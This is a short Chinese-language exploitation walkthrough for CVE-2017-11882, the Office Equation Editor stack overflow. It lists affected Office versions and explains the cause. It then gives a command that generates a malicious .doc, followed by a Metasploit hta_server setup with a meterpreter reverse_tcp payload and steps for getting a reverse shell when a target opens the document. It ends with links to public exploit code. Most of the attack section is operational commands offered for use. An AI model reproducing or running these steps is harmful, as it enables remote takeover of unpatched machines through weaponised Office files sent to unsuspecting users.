影响范围
- MicrosoftOffice 2000
- MicrosoftOffice 2003
- MicrosoftOffice 2007 Service Pack 3
- MicrosoftOffice 2010 Service Pack 2
- MicrosoftOffice 2013 Service Pack 1
- MicrosoftOffice 2016
利用条件
- 在影响范围内的应用
- 用户打开恶意Office
漏洞概述
CVE-2017-11882是微软公布的一个远程执行漏洞,该漏洞的成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞
漏洞利用
简易测试
在kali下执行生成一个含有恶意代码的doc进行测试,下面指令的意思是调用cmd并执行calc.exe:
python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc
在靶机上打开就会弹出计算器:
实战利用
Step 1:使用MSF框架的hta_server模块生成载荷
use exploit/windows/misc/hta_server
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.174.129
set SRVPORT 9999
set URIPATH abc
Step 2:使用EXP生成带有恶意命令的doc文件
Step 3:在靶机上打开test.doc文档
Step 4:之后成功反弹shell
参考链接
GitHub - Ridter/CVE-2017-11882: CVE-2017-11882 from https://github.com/embedi/CVE-2017-11882
https://github.com/Al1ex/Heptagram/tree/master/Windows%20Office/CVE-2017-11882